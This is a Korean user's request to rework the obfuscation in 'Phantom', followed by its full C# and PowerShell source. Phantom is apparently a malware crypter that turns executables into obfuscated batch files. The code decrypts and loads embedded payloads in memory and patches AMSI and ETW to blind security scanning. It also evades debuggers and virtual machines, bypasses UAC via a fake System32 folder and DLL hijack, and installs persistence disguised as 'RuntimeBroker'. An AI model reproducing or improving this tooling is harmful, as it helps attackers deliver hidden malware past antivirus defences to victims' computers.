아래는 내가 만든 exe 에서 bat 로 변환후 난독화 해주는 코드야 그리고 아니면 기존 작동 방식이 마음에 들지 않아서 보안 목적으로 새로운 방식으로 교체해줘 함수이름은 그대로 였으면 좋겠어
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;

namespace Phantom
{
    internal class FileGen
    {
        // Method to create batch file content
        internal static string CreateBat(byte[] key, byte[] iv, EncryptionMode mode, bool hidden, bool selfdelete, bool runas, PhantomMain.FileType fileType, Random rng)
        {
            // Generate a random variable name
            string RandomSetVarName = Utils.RandomString(20, rng);

            // Generate PowerShell command using CreatePS method from StubGen class
            string command = StubGen.CreatePS(key, iv, mode, rng);
            StringBuilder output = new StringBuilder();

            // Start building the batch file content
            output.AppendLine(@"@echo off");

            // Generate random variable names
            string randomvarstr_1 = Utils.RandomString(20, rng);
            string randomvarstr_2 = Utils.RandomString(20, rng);
            // Add lines to set a random variable
            output.AppendLine(@"%!%s%!%e%!%t%!%l%!%o%!%c%!%a%!%l%!% %!%e%!%n%!%a%!%b%!%l%!%e%!%d%!%e%!%l%!%a%!%y%!%e%!%d%!%e%!%x%!%p%!%a%!%n%!%s%!%i%!%o%!%n%!%".Replace(@"!", Utils.RandomString(20, rng)));
            output.AppendLine(@"set ""x1=s""".Replace(@"x1", randomvarstr_1));
            output.AppendLine(@"set ""x2=t""".Replace(@"x2", randomvarstr_2));
            output.AppendLine(@"set ""x3=!x1!e!x2!""".Replace(@"x1", randomvarstr_1).Replace(@"x2", randomvarstr_2).Replace(@"x3", RandomSetVarName));

            // If 'runas' flag is set, add code to execute the batch file with elevated privileges
            if (runas)
            {
                // Code to execute the batch file with elevated privileges
                string runascode = @"if not %errorlevel%==0 ( powershell -noprofile -ep bypass -command Start-Process -FilePath '%0' -ArgumentList '%cd%' -Verb runas & exit /b )" + Environment.NewLine + @"cd /d %1";
                // Obfuscate the 'runascode'
                var runasobf = Obfuscator.GenCodeBat(runascode, rng, RandomSetVarName, 3);
                var netfileobf = Obfuscator.GenCodeBat(@"net file > nul 2>&1", rng, RandomSetVarName, 3);
                // Add obfuscated 'runascode' and 'net file' command to the batch file content
                output.AppendLine(netfileobf.Item1 + Environment.NewLine + netfileobf.Item2);
                output.AppendLine(runasobf.Item1 + Environment.NewLine + runasobf.Item2);
            }

            // Prepare command for execution, optionally hiding the window
            string commandstart = $"-noprofile {(hidden ? @"-windowstyle hidden" : string.Empty)} -ep bypass -command ";
            // Obfuscate the PowerShell command
            var obfuscated3 = Obfuscator.GenCodeBat(commandstart + command, rng, RandomSetVarName, 3);
            output.AppendLine(obfuscated3.Item1);
            string powershellPath = @"";
            if (fileType == PhantomMain.FileType.NET64)
            {
                powershellPath = @"%systemdrive%\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
            }
            else if (fileType == PhantomMain.FileType.NET86)
            {
                powershellPath = @"%systemdrive%\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe";
            }
            else if (fileType == PhantomMain.FileType.x64)
            {
                powershellPath = @"%systemdrive%\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
            }
            else if (fileType == PhantomMain.FileType.x86)
            {
                powershellPath = @"%systemdrive%\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe";
            }
            var powershellcallobf = Obfuscator.GenCodeBat(@"""" + powershellPath + @""" ", rng, RandomSetVarName, 3);
            output.AppendLine(powershellcallobf.Item1 + Environment.NewLine + powershellcallobf.Item2 + obfuscated3.Item2);

            // If 'selfdelete' flag is set, add code to delete the batch file after execution
            if (selfdelete)
            {
                // Code to delete the batch file after execution
                var meltobf = Obfuscator.GenCodeBat(@"(goto) 2>nul & del ""%~f0""", rng, RandomSetVarName, 3);
                output.AppendLine(meltobf.Item1 + Environment.NewLine + meltobf.Item2);
            }

            // Add exit command to terminate the batch file
            var exitobf = Obfuscator.GenCodeBat(@"exit /b", rng, RandomSetVarName, 3);
            output.Append(exitobf.Item1 + Environment.NewLine + exitobf.Item2);

            // Return the generated batch file content as a string
            return output.ToString();
        }
    }
}

using System;
using System.Collections.Generic;
using System.Text;

using static Phantom.Utils;

namespace Phantom
{
    internal class StubGen
    {
        // Method to create PowerShell script
        internal static string CreatePS(byte[] key, byte[] iv, EncryptionMode mode, Random rng)
        {
            // Declare variables
            string stubcode = string.Empty;
            string base64DecodeString = @"('gnirtS46esaBmorF'[-1..-16] -join '')";
            string readAllTextString = @"('txeTllAdaeR'[-1..-11] -join '')";
            string loadString = @"('daoL'[-1..-4] -join '')";
            string decryptionKey = Convert.ToBase64String(key);
            string decryptionIV = Convert.ToBase64String(iv);
            string batPathVar = RandomString(5, rng);
            string contentsVar = RandomString(5, rng);
            string lastLineVar = RandomString(5, rng);
            string lineVar = RandomString(5, rng);
            string payloadVar = RandomString(5, rng);
            string msiVar = RandomString(5, rng);
            string msoVar = RandomString(5, rng);
            string gsVar = RandomString(5, rng);
            string obfStep1Var = RandomString(5, rng);
            string obfStep2Var = RandomString(5, rng);

            // Get embedded PowerShell script
            stubcode += GetEmbeddedString(@"Phantom.Resources.AESStub.ps1");

            // Replace placeholders with generated values
            stubcode = stubcode.Replace(@"FromBase64String", base64DecodeString)
                               .Replace(@"ReadAllText", readAllTextString)
                               .Replace(@"Load", loadString)
                               .Replace(@"DECRYPTION_KEY", decryptionKey)
                               .Replace(@"DECRYPTION_IV", decryptionIV)
                               .Replace(@"batPath_var", batPathVar)
                               .Replace(@"contents_var", contentsVar)
                               .Replace(@"lastline_var", lastLineVar)
                               .Replace(@"line_var", lineVar)
                               .Replace(@"payload_var", payloadVar)
                               .Replace(@"msi_var", msiVar)
                               .Replace(@"mso_var", msoVar)
                               .Replace(@"gs_var", gsVar)
                               .Replace(@"obfstep1_var", obfStep1Var)
                               .Replace(@"obfstep2_var", obfStep2Var)
                               .Replace(Environment.NewLine, string.Empty);

            // Return the generated PowerShell script
            return stubcode;
        }

        // Method to create C# stub code
        internal static string CreateCS(byte[] key, byte[] iv, EncryptionMode mode, bool antidebug, bool antivm, bool startup, bool uacbypass, bool native, Random rng)
        {
            // Declare variables
            string namespacename = RandomString(20, rng);
            string classname = RandomString(20, rng);
            string aesfunction = RandomString(20, rng);
            string uncompressfunction = RandomString(20, rng);
            string gerfunction = RandomString(20, rng);

            // Encrypt predefined strings
            string key_str = Convert.ToBase64String(key);
            string iv_str = Convert.ToBase64String(iv);

            string stub = string.Empty;
            string stubcode = GetEmbeddedString(@"Phantom.Resources.Stub.cs");

            // Add compiler flags if specified
            if (antidebug)
            {
                stub += "#define ANTI_DEBUG\n";
            }
            if (antivm)
            {
                stub += "#define ANTI_VM\n";
            }
            if (startup)
            {
                stub += "#define STARTUP\n";
            }
            if (uacbypass)
            {
                stub += "#define UAC_BYPASS\n";
            }
            if (native)
            {
                stub += "#define NATIVE\n";
            }

            // Replace placeholders with generated values
            stubcode = stubcode.Replace(@"namespace_name", namespacename)
                               .Replace(@"class_name", classname)
                               .Replace(@"aesfunction_name", aesfunction)
                               .Replace(@"uncompressfunction_name", uncompressfunction)
                               .Replace(@"getembeddedresourcefunction_name", gerfunction)
                               .Replace(@"key_str", key_str)
                               .Replace(@"iv_str", iv_str);

            // Concatenate stub code with additional compiler flags if specified
            stub += stubcode;

            // Return the generated C# stub code
            return stub;
        }
    }
}
using System;
using System.Collections.Generic;
using System.Linq;
using static Phantom.Utils;

namespace Phantom
{
    public class Obfuscator
    {
        public static (string, string) GenCodeBat(string input, Random rng, string SetVarName, int level = 5)
        {
            string ret = string.Empty;
            string[] lines = input.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);

            int amount = 5;
            if (level > 1) amount -= level;
            amount *= 2;

            List<string> setlines = new List<string>();
            List<string[]> linevars = new List<string[]>();
            foreach (string line in lines)
            {
                List<string> splitted = new List<string>();
                string sc = string.Empty;
                bool invar = false;
                foreach (char c in line)
                {
                    // 무작위 공백 삽입
                    if (rng.Next(0, 4) == 0) sc += " ";

                    if (c == '%')
                    {
                        invar = !invar;
                        sc += c;
                        continue;
                    }
                    if ((c == ' ' || c == '\'' || c == '.') && invar)
                    {
                        invar = false;
                        sc += c;
                        continue;
                    }
                    if (!invar && sc.Length >= amount)
                    {
                        splitted.Add(sc);
                        invar = false;
                        sc = string.Empty;
                    }
                    sc += c;
                }
                splitted.Add(sc);

                List<string> vars = new List<string>();
                foreach (string s in splitted)
                {
                    string name = RandomString(10, rng);
                    setlines.Add($"!{SetVarName}! \"{name}={s}\"");
                    vars.Add(name);

                    // 가짜 변수 삽입
                    if (rng.Next(0, 3) == 0)
                    {
                        string fakeVarName = RandomString(10, rng);
                        setlines.Add($"set {fakeVarName}=null");
                    }

                    // 무의미한 명령어 삽입
                    if (rng.Next(0, 5) == 0)
                    {
                        setlines.Add($"echo {RandomString(5, rng)} > nul");
                    }
                }
                linevars.Add(vars.ToArray());
            }

            setlines = new List<string>(setlines.OrderBy(x => rng.Next()));
            for (int i = 0; i < setlines.Count; i++)
            {
                ret += setlines[i];
                ret += Environment.NewLine;
            }

            string varcalls = string.Empty;
            foreach (string[] line in linevars)
            {
                foreach (string s in line)
                {
                    // 변수명 무작위로 교체
                    if (rng.Next(0, 2) == 0)
                    {
                        string newName = RandomString(10, rng);
                        varcalls += $"%{newName}%";
                    }
                    else
                    {
                        varcalls += $"%{s}%";
                    }
                }
                varcalls += Environment.NewLine;
            }

            return (ret.TrimEnd('\r', '\n'), varcalls.TrimEnd('\r', '\n'));
        }
    }
}

using System;
using System.IO;
using Newtonsoft.Json;

namespace Phantom
{
    internal class Settings
    {
        private static string savepath = AppDomain.CurrentDomain.BaseDirectory + "\\bin\\settings.json";

        internal static SettingsObject Load()
        {
            if (File.Exists(savepath))
            {
                return JsonConvert.DeserializeObject<SettingsObject>(File.ReadAllText(savepath));
            }
            return null;
        }

        internal static void Save(SettingsObject obj) => File.WriteAllText(savepath, JsonConvert.SerializeObject(obj, Formatting.Indented));
    }

    internal class SettingsObject
    {
        public string inputFile { get; set; }

        public bool antiDebug { get; set; }

        public bool antiVM { get; set; }
        
        public bool selfDelete { get; set; }

        public bool hidden { get; set; }

        public bool runas { get; set; }
        
        public bool startup { get; set; }
        
        public bool uacBypass { get; set; }

        public string[] bindedFiles { get; set; }
    }
}

using System;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Reflection;
using System.Security.Cryptography;

namespace Phantom
{
    internal enum EncryptionMode
    {
        AES,
        XOR
    }

    internal class Utils
    {
        internal static byte[] GetEmbeddedResource(string name)
        {
            Assembly asm = Assembly.GetExecutingAssembly();
            MemoryStream ms = new MemoryStream();
            Stream stream = asm.GetManifestResourceStream(name);
            stream.CopyTo(ms);
            stream.Dispose();
            byte[] ret = ms.ToArray();
            ms.Dispose();
            return ret;
        }

        internal static string GetEmbeddedString(string name)
        {
            Assembly asm = Assembly.GetExecutingAssembly();
            StreamReader stream = new StreamReader(asm.GetManifestResourceStream(name));
            string ret = stream.ReadToEnd();
            stream.Close();
            stream.Dispose();
            return ret;
        }

        internal static byte[] Encrypt(EncryptionMode type, byte[] input, byte[] key, byte[] iv)
        {
            switch (type)
            {
                case EncryptionMode.AES:
                    {
                        AesManaged aes = new AesManaged();
                        aes.Mode = CipherMode.CBC;
                        aes.Padding = PaddingMode.PKCS7;
                        ICryptoTransform encryptor = aes.CreateEncryptor(key, iv);
                        byte[] encrypted = encryptor.TransformFinalBlock(input, 0, input.Length);
                        encryptor.Dispose();
                        aes.Dispose();
                        return encrypted;
                    }
                case EncryptionMode.XOR:
                    {
                        for (int i = 0; i < input.Length; i++)
                        {
                            input[i] = (byte)(input[i] ^ key[i % key.Length]);
                        }
                        return input;
                    }
            }
            return null;
        }

        internal static byte[] Compress(byte[] bytes)
        {
            MemoryStream msi = new MemoryStream(bytes);
            MemoryStream mso = new MemoryStream();
            GZipStream gs = new GZipStream(mso, CompressionMode.Compress);
            msi.CopyTo(gs);
            gs.Dispose();
            mso.Dispose();
            msi.Dispose();
            return mso.ToArray();
        }

        internal static string RandomString(int length, Random rng)
        {
            string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
            return new string(Enumerable.Repeat(chars, length).Select(s => s[rng.Next(s.Length)]).ToArray());
        }
    }
}
function decrypt_function($param_var)
{
	$aes_var=[System.Security.Cryptography.Aes]::Create();
	$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;
	$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
	$aes_var.Key=[System.Convert]::FromBase64String('DECRYPTION_KEY');
	$aes_var.IV=[System.Convert]::FromBase64String('DECRYPTION_IV');
	$decryptor_var=$aes_var.CreateDecryptor();
	$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
	$decryptor_var.Dispose();
	$aes_var.Dispose();
	$return_var;
}

function decompress_function($param_var)
{
	$msi_var=New-Object System.IO.MemoryStream(,$param_var);
	$mso_var=New-Object System.IO.MemoryStream;
	$gs_var=New-Object System.IO.Compression.GZipStream($msi_var, [IO.Compression.CompressionMode]::Decompress);
	$gs_var.CopyTo($mso_var);
	$gs_var.Dispose();
	$msi_var.Dispose();
	$mso_var.Dispose();
	$mso_var.ToArray();
}

function execute_function($param_var,$param2_var)
{
	$obfstep1_var=[System.Reflection.Assembly]::Load([byte[]]$param_var);
	$obfstep2_var=$obfstep1_var.EntryPoint;
	$obfstep2_var.Invoke($null, $param2_var);
}

$batPath_var = '%~f0';
$host.UI.RawUI.WindowTitle = $batPath_var;
$contents_var=[System.IO.File]::ReadAllText($batPath_var).Split([Environment]::NewLine);
foreach ($line_var in $contents_var) 
{
	if ($line_var.StartsWith(':: '))
	{
		$lastline_var=$line_var.Substring(3);
		break;
	}
}
$payloads_var=[string[]]$lastline_var.Split('\');
$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0])));
$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1])));
execute_function $payload1_var $null;
execute_function $payload2_var (,[string[]] ('%*'));
using System;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic.Devices;

namespace PHANTOM
{
    internal class Program
    {
        [DllImport("kernel32.dll")]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]
        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        private static IntPtr ASLR(IntPtr Relative_Address, IntPtr Relative_BaseAddress, string ModuleName)
        {
            return (IntPtr)((long)Relative_Address - (long)Relative_BaseAddress + (long)GetModuleHandle(ModuleName));
        }

#if x64
        private static IntPtr amsiScanBufferAddress_Win11 = (IntPtr)0x180008260; //May change in the future!
        private static IntPtr amsiScanBufferAddress_Win10 = (IntPtr)0x180003860; //May change in the future!
        private static IntPtr RebaseAddress = (IntPtr)0x180000000;
#else
        private static IntPtr amsiScanBufferAddress_Win11 = (IntPtr)0x10005D60; //May change in the future!
        private static IntPtr amsiScanBufferAddress_Win10 = (IntPtr)0x10005960; //May change in the future!
        private static IntPtr RebaseAddress = (IntPtr)0x10000000;
#endif

        private static uint PAGE_EXECUTE_READWRITE = 0x40;

        private static string obfDll_Str = @"*a*m*s*i*.*d*l*l*".Replace(@"*", @"");

        [STAThread]
        static void Main()
        {
            IntPtr Address = IntPtr.Zero;
            if (new ComputerInfo().OSFullName.Contains(@"11") == true)
            {
                Address = ASLR(amsiScanBufferAddress_Win11, RebaseAddress, obfDll_Str);
            }
            else
            {
                Address = ASLR(amsiScanBufferAddress_Win10, RebaseAddress, obfDll_Str);
            }
            byte[] Patch = (IntPtr.Size == 8) ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
            uint oldProtect;
            VirtualProtect(Address, (UIntPtr)Patch.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
            Marshal.Copy(Patch, 0, Address, Patch.Length);
            VirtualProtect(Address, (UIntPtr)Patch.Length, oldProtect, out oldProtect);
        }
    }
}

using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Management;
using System.Windows.Forms;
using System.Threading;
using Microsoft.Win32;

namespace namespace_name
{
    internal class class_name
    {
        [DllImport("kernel32.dll")]
        private static extern IntPtr LoadLibrary(string lpFileName);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll")]
        private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

#if ANTI_DEBUG
        [DllImport("kernel32.dll")]
        private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);

        [DllImport("kernel32.dll")]
        private static extern bool IsDebuggerPresent();
#endif

#if NATIVE
        private delegate void NativeEntryPointDelegate();
#endif

        private static uint PAGE_EXECUTE_READWRITE = 0x40;

        static void Main(string[] args)
        {
            string currentfilename = Process.GetCurrentProcess().MainModule.FileName;

#if UAC_BYPASS
            Version osversion = Environment.OSVersion.Version;
            if ((osversion.Major >= 6 && osversion.Minor >= 1) || osversion.Major >= 10)
            {
                try
                {
                    if (!IsAdmin())
                    {
                        Directory.CreateDirectory("\\\\?\\C:\\Windows \\System32");
                        File.Copy("C:\\Windows\\System32\\wusa.exe", "C:\\Windows \\System32\\wusa.exe", true);
                        File.WriteAllBytes("C:\\Windows \\System32\\WTSAPI32.dll", uncompressfunction_name(getembeddedresourcefunction_name(@"UAC")));
                        Process.Start(new ProcessStartInfo()
                        {
                            FileName = "C:\\Windows \\System32\\wusa.exe",
                            Arguments = "\"" + Console.Title + "\"",
                            UseShellExecute = true,
                            WindowStyle = ProcessWindowStyle.Hidden
                        });
                        Environment.Exit(-1);
                    }
                    Directory.Delete("\\\\?\\C:\\Windows ", true);
                }
                catch
                {
                }
            }
#endif

#if STARTUP
            try
            {
                bool isStartup = IsStartup(Console.Title);
                if (!isStartup)
                {
                    InstallStartup(Console.Title);
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.ToString());
                Process.GetCurrentProcess().Kill();
            }
#endif

#if ANTI_VM
            ManagementObjectSearcher searcher = new ManagementObjectSearcher(@"Select * from Win32_ComputerSystem");
            ManagementObjectCollection instances = searcher.Get();
            foreach (ManagementBaseObject inst in instances)
            {
                string manufacturer = inst[@"Manufacturer"].ToString().ToLower();
                if ((manufacturer == @"microsoft corporation" && inst[@"Model"].ToString().ToUpperInvariant().Contains(@"VIRTUAL")) || manufacturer.Contains(@"vmware") || inst[@"Model"].ToString() == @"VirtualBox")
                {
                    Environment.Exit(1);
                }
            }
            searcher.Dispose();
#endif

#if ANTI_DEBUG
            bool remotedebug = false;
            CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref remotedebug);
            if (Debugger.IsAttached || remotedebug || IsDebuggerPresent())
            {
                Environment.Exit(-1);
            }
#endif

            IntPtr ntdll = LoadLibrary(@"ntdll.dll");
            IntPtr etwaddr = GetProcAddress(ntdll, @"EtwEventWrite");
            byte[] Patch = (IntPtr.Size == 8) ? new byte[] { 0xC3 } : new byte[] { 0xC2, 0x14, 0x00 };
            uint oldProtect;
            VirtualProtect(etwaddr, (UIntPtr)Patch.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
            Marshal.Copy(Patch, 0, etwaddr, Patch.Length);
            VirtualProtect(etwaddr, (UIntPtr)Patch.Length, oldProtect, out oldProtect);

            string payloadstr = @"payload.exe";
            
            Assembly asm = Assembly.GetExecutingAssembly();
            foreach (string name in asm.GetManifestResourceNames())
            {
                if (name == payloadstr || name == @"UAC")
                {
                    continue;
                }
                if (name.EndsWith(@".exe") || name.EndsWith(@".bat"))
                {
                    try
                    {
                        File.WriteAllBytes(name, getembeddedresourcefunction_name(name));
                        File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
                        new Thread(() =>
                        {
                            Process.Start(name).WaitForExit();
                            File.SetAttributes(name, FileAttributes.Normal);
                            File.Delete(name);
                        }).Start();
                    }
                    catch
                    {
                    }
                }
            }

            byte[] payload = uncompressfunction_name(aesfunction_name(getembeddedresourcefunction_name(payloadstr), Convert.FromBase64String(@"key_str"), Convert.FromBase64String(@"iv_str")));
            string[] targs = new string[] { };
            try
            {
                targs = args[0].Split(' ');
            }
            catch
            {
            }

#if NATIVE
            unsafe
            {
                fixed (byte* _pointer = payload)
                {
                    IntPtr _mem = (IntPtr)_pointer;
                    VirtualProtect(_mem, (UIntPtr)payload.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
                    NativeEntryPointDelegate NativeExecute = (NativeEntryPointDelegate)Marshal.GetDelegateForFunctionPointer(_mem, typeof(NativeEntryPointDelegate));
                    NativeExecute();
                    Environment.Exit(-1);
                }
            }
#else
            MethodInfo entry = Assembly.Load(payload).EntryPoint;
            try { entry.Invoke(null, new object[] { targs }); }
            catch { entry.Invoke(null, null); }
#endif
        }

        private static bool IsAdmin()
        {
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }

#if STARTUP
        private static bool IsStartup(string path)
        {
            if (path.Contains(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)) == true)
            {
                return true;
            }
            else
            {
                return false;
            }
        }

        private static void InstallStartup(string batPath)
        {
            string currentfileextension = ".bat";
            string randomvar = new Random().Next(1, 1000).ToString();
            string newpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\startup_str_" + randomvar + currentfileextension;
            string newVpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\startup_str_" + randomvar + @".vbs";
            File.WriteAllText(newVpath, "CreateObject(Replace(\"WScript.Shell\",\"SubChar\",\"\")).Run \"\"\"" + newpath + "\"\"\", 0");
            if (IsAdmin())
            {
                Process.Start(new ProcessStartInfo()
                {
                    FileName = "powershell.exe",
                    Arguments = "Register-ScheduledTask -TaskName 'RuntimeBroker_startup_" + randomvar + "_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '" + newVpath + "') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force",
                    UseShellExecute = true,
                    WindowStyle = ProcessWindowStyle.Hidden
                }).WaitForExit();
            }
            else
            {
                var key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
                key.SetValue("RuntimeBroker_startup_" + randomvar + @"_str", "wscript.exe \"" + newVpath + "\"");
                key.Dispose();
            }
            if (batPath.IndexOf(newpath, StringComparison.OrdinalIgnoreCase) == 0) return;
            File.Copy(batPath, newpath, true);
            Process.Start(newVpath);
            Environment.Exit(-1);
        }
#endif

        private static byte[] aesfunction_name(byte[] input, byte[] key, byte[] iv)
        {
            AesManaged aes = new AesManaged();
            aes.Mode = CipherMode.CBC;
            aes.Padding = PaddingMode.PKCS7;
            ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
            byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length);
            decryptor.Dispose();
            aes.Dispose();
            return decrypted;
        }

        private static byte[] uncompressfunction_name(byte[] bytes)
        {
            MemoryStream msi = new MemoryStream(bytes);
            MemoryStream mso = new MemoryStream();
            GZipStream gs = new GZipStream(msi, CompressionMode.Decompress);
            gs.CopyTo(mso);
            gs.Dispose();
            mso.Dispose();
            msi.Dispose();
            return mso.ToArray();
        }

        private static byte[] getembeddedresourcefunction_name(string name)
        {
            Assembly asm = Assembly.GetExecutingAssembly();
            MemoryStream ms = new MemoryStream();
            Stream stream = asm.GetManifestResourceStream(name);
            stream.CopyTo(ms);
            stream.Dispose();
            byte[] ret = ms.ToArray();
            ms.Dispose();
            return ret;
        }
    }
}
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Security.AccessControl;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using dnlib.DotNet;
using Microsoft.CSharp;
using Phantom.Properties;
using static Phantom.Utils;

namespace Phantom
{
    public partial class PhantomMain : Form
    {
        public PhantomMain()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            SettingsObject obj = Settings.Load();
            if (obj != null)
            {
                UnpackSettings(obj);
            }
            Task.Factory.StartNew(CheckVersion);
            UpdateKeys(sender, e);
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            Settings.Save(PackSettings());
            Environment.Exit(-1);
        }

        private void openButton_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            ofd.Filter = @"Executable Files (*.exe)|*.exe";
            ofd.RestoreDirectory = true;
            if (ofd.ShowDialog() != DialogResult.OK)
            {
                return;
            }
            textBox1.Text = ofd.FileName;
        }

        private void buildButton_Click(object sender, EventArgs e) => Crypt();

        private void addFile_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            ofd.Filter = @"Executable/Batch Files (*.exe, *.bat)|*.exe;*.bat";
            ofd.RestoreDirectory = true;
            if (ofd.ShowDialog() != DialogResult.OK)
            {
                return;
            }
            listBox1.Items.Add(ofd.FileName);
        }

        private static string CreateTempFile(Random rng)
        {
            string tempfilename = Utils.RandomString(10, rng) + @".tmp";
            File.WriteAllText(tempfilename, @"");
            return tempfilename;
        }

        private static byte[] ExtractResource(String filename)
        {
            System.Reflection.Assembly a = System.Reflection.Assembly.GetExecutingAssembly();
            using (Stream resFilestream = a.GetManifestResourceStream(filename))
            {
                if (resFilestream == null) return null;
                byte[] ba = new byte[resFilestream.Length];
                resFilestream.Read(ba, 0, ba.Length);
                return ba;
            }
        }

        private void removeFile_Click(object sender, EventArgs e)
        {
            listBox1.Items.Remove(listBox1.SelectedItem);
        }

        internal enum FileType
        {
            x64,
            x86,
            NET64,
            NET86,
            Invalid
        }

        private static FileType GetFileType(string path)
        {
            FileType result;
            try
            {
                result = ((AssemblyName.GetAssemblyName(path).ProcessorArchitecture == ProcessorArchitecture.X86) ? FileType.NET86 : FileType.NET64);
            }
            catch
            {
                using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read))
                {
                    using (BinaryReader binaryReader = new BinaryReader(fileStream))
                    {
                        try
                        {
                            fileStream.Seek(60L, SeekOrigin.Begin);
                            int num = binaryReader.ReadInt32();
                            fileStream.Seek((long)num, SeekOrigin.Begin);
                            bool flag = binaryReader.ReadUInt32() != 17744U;
                            if (flag)
                            {
                                throw new Exception();
                            }
                            result = ((binaryReader.ReadUInt16() == 332) ? FileType.x86 : FileType.x64);
                        }
                        catch
                        {
                            result = FileType.Invalid;
                        }
                    }
                }
            }
            return result;
        }

        // Method to create a crypted batch file from a executable
        private void Crypt()
        {
            // Disable button to prevent multiple executions
            buildButton.Enabled = false;

            // Switch to the output tab
            tabControl1.SelectedTab = tabControl1.TabPages[@"outputPage"];

            // Clear items from listBox2
            listBox2.Items.Clear();

            // Call UpdateKeys method with null arguments to update and refresh the AES keys
            UpdateKeys(null, null);

            // Initialize a random number generator
            Random rng = new Random();

            // Retrieve input from textBox1
            string _input = textBox1.Text;

            // Decode keys and initialization vectors from base64 strings
            byte[] _key = Convert.FromBase64String(key1), _iv = Convert.FromBase64String(iv1), _stubkey = Convert.FromBase64String(key2), _stubiv = Convert.FromBase64String(iv6);

            // Specify encryption mode
            EncryptionMode mode = EncryptionMode.AES;

            // Check if input file doesn't exist or is not an executable
            if (!File.Exists(_input) || Path.GetExtension(_input) != @".exe")
            {
                // Show error message
                MessageBox.Show(!File.Exists(_input) ? @"Invalid input path." : @"Invalid input file.", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);

                // Re-enable build button
                buildButton.Enabled = true;

                // Exit function
                return;
            }

            // Read bytes from input file
            byte[] pbytes = File.ReadAllBytes(_input);

            bool isnetasm = false;

            // Check the file type of the input file
            FileType fileType = GetFileType(_input);
            if (fileType == FileType.Invalid)
            {
                // Show error message
                MessageBox.Show(@"Invalid input file.", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);

                // Exit function
                return;
            }
            else if (fileType == FileType.NET64 || fileType == FileType.NET86)
            {
                isnetasm = true;
            }

            // If input file is not a .NET assembly, convert it to shellcode and update the payload byte array
            if (!isnetasm)
            {
                listBox2.Items.Add(@"[Native Payload Detected] - Converting payload to shellcode...");
                int archType = 0;
                if (fileType == FileType.x64)
                {
                    archType = 2;
                }
                else
                {
                    archType = 1;
                }
                string payloadExtension = Path.GetExtension(_input);
                File.WriteAllBytes($"payload_native{payloadExtension}", pbytes);
                File.WriteAllBytes(@"donut.exe", ExtractResource(@"Phantom.Resources.donut.exe"));
                ProcessStartInfo processStartInfo = new ProcessStartInfo();
                processStartInfo.UseShellExecute = true;
                processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                processStartInfo.FileName = @"cmd.exe";
                processStartInfo.Arguments = $"/C donut.exe -a {archType} -o \"payload_native.bin\" -i \"payload_native{payloadExtension}\" -b 1 -k 2 -x 3 & exit";
                Process.Start(processStartInfo).WaitForExit();
                File.Delete(@"donut.exe");
                File.Delete($"payload_native{payloadExtension}");
                pbytes = File.ReadAllBytes(@"payload_native.bin");
                File.Delete(@"payload_native.bin");
            }

            // Add message to listBox2
            listBox2.Items.Add(@"Encrypting payload...");

            // Encrypt and compress payload
